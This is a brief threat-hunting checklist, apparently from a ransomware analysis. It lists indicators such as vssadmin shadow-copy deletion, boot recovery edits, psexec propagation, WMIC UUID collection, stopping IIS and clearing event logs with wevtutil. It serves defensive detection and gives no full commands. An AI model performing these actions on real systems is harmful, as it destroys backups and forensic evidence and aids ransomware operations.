Hunt Activity

  • Suspicious SMB traffic
  • 'vssadmin' shadow copy deletions
  • Recovery mode edits or disables using 'bcedit.exe'
  • Propagation via 'psexec'
  • Use of anti-forensics tools like fileshredder
  • Collection machine UUID via WMIC commands
  • The universally unique identifier (UUID) is later used, together with the token, to identify the victim in a Tor website hosted by the malicious actors.
  • Delete volume shadow copies.
  • Increase the number of network requests that the server service can perform.
  • Stop the IIS service using the iisreset.exe, a well-known tool used to handle IIS services.
  • Execute arp command to display current ARP (Address Resolution Protocol) entries.
  • Execute Fsutil to allow the use of both remote and local symlinks.
  • Clear all event logs via wevutil.exe.
